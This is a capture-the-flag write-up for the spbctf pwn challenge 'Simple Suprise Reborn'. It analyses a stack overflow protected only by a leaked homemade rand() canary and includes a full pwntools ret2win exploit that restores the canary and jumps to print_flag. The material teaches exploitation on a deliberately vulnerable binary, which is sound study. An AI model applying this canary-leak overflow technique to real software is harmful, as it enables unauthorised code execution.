Simple Suprise Reborn
Simple Suprise Reborn
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: custom_canary_bypass_via_leak, format_string_leak, ret2win, stack_buffer_overflow
Summary
Task: x86-64 pwn binary with a stack buffer overflow guarded by a homemade rand()-based canary, which is leaked verbatim by a format string. Solution: parse the leaked canary from the banner, overflow the buffer while restoring the canary at rbp-0x4 so the equality check passes, and overwrite the return address with print_flag (ret2win).
Simple Suprise Reborn — spbctf
Description
Simple-Suprise-Reborn — Author: Artur Khanov (@awengar) nc 109.233.56.90 11612 https://pwn.spbctf.ru/files/canary/simple_suprprise_2_fixed
A 64-bit x86-64 ELF (dynamically linked, not stripped) reads user input into
an undersized stack buffer. The overflow is "protected" by a homemade
canary — a global rand() value — rather than the real compiler stack
canary. The goal is to reach print_flag(), which opens and prints the flag
file.
Analysis
Key symbols:
main@0x4013bcfunc_A@0x40127f— the vulnerable functionprint_flag@0x401260— win function, callsprintout("flag")thenprintout("task1.c")printout@0x4011f2—open(name, O_RDONLY), read0x100, write to stdout- global
canary@0x4040a4(.bss)
The URL path segment canary and the theme hint at a canary bypass, but the
canary is fake / homemade:
main() (0x4013bc):
srand(time(0)), thenrand()→ stored into globalcanary.printf("I am here %p %x\n", &main, canary)— leaks the canary directly as%x.fflush(stdout), callsfunc_A(), prints"Auth finished".
func_A() (0x40127f): frame sub rsp, 0x30
bufatrbp-0x30(memset0x20 bytes to 0).- local canary copy at
rbp-0x4= globalcanary. write(1, "Login:\n", 7).read(0, buf, 0x64)→ 100 bytes into a 0x30 buffer → overflow #1.- echoes buf back (
strlen+write), then"Welcome,". read(0, buf, 0x64)→ overflow #2 into the SAME buffer (decisive one — canary check happens after it).strcmp(buf, "pass")→ prints"OK\n"/"No\n"(does not affect control flow).- checks
[rbp-0x4] == global canary: mismatch →printf("Fail %x %x\n", ...)+exit(1); equal →leave/ret.
printout(name) (0x4011f2): open(name, O_RDONLY), read up to 0x100, write stdout, close.
print_flag() (0x401260): printout("flag"), printout("task1.c") — returning here dumps the flag.
Vulnerability
Stack buffer overflow in func_A guarded by a custom canary. The canary is
trivially defeated because main() leaks it via the format string
"I am here %p %x". The second read() overwrites the saved return address
while restoring the leaked canary so the equality check passes → ret2win
into print_flag.
Stack layout in func_A (rbp-relative)
| Item | Address | Offset from buf |
|---|---|---|
buf | rbp-0x30 | 0 |
| local canary | rbp-0x04 | 0x2c = 44 |
| saved rbp | rbp+0x00 | 0x30 = 48 |
| return addr | rbp+0x08 | 0x38 = 56 |
Solution
- Connect, read
I am here 0x4013bc <canary_hex>and parse the canary (%x, 32-bit). - Satisfy read #1 with a small input.
- For read #2, send:
b"pass\x00".ljust(0x2c, b"A")— 44 bytes; keepsstrcmp("pass")matching, fills to local canary.p32(canary)— restore the leaked canary atrbp-0x4so the check passes.b"B"*8— saved rbp.p64(0x401260)— return address →print_flag(ret2win).
func_Areturns intoprint_flag, dumping the flag file (printed twice:flag+task1.c).
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'info' exe = './simple_suprprise_2_fixed' HOST, PORT = '109.233.56.90', 11612 PRINT_FLAG = 0x401260 def start(): if args.REMOTE: return remote(HOST, PORT) return process(exe) io = start() # main prints: "I am here %p %x\n" -> leaks main ptr and canary line = io.recvline_contains(b'I am here') log.info(f'leak line: {line}') parts = line.split() # parts: b'I', b'am', b'here', b'<%p>', b'<%x>' main_ptr = int(parts[3], 16) canary = int(parts[4], 16) log.info(f'main_ptr = {hex(main_ptr)} canary = {hex(canary)}') # func_A: "Login:\n" then first read, then "Welcome," ... then second read io.recvuntil(b'Login:') # first read - just send something small io.send(b'A\n') # it writes back buf + newline; then second read io.recvuntil(b'Welcome,') # Build overflow for second read into rbp-0x30 # offset to local canary (rbp-0x4) = 0x2c = 44 # canary(4) + saved rbp(8) + retaddr(8) payload = b'pass\x00'.ljust(0x2c, b'A') # 44 bytes, strcmp sees "pass" payload += p32(canary) # restore canary at rbp-0x4 payload += b'B' * 8 # saved rbp payload += p64(PRINT_FLAG) # return address io.send(payload) data = io.recvall(timeout=5) print("=== OUTPUT ===") print(data) try: print(data.decode(errors='replace')) except: pass
Run: python3 exploit.py REMOTE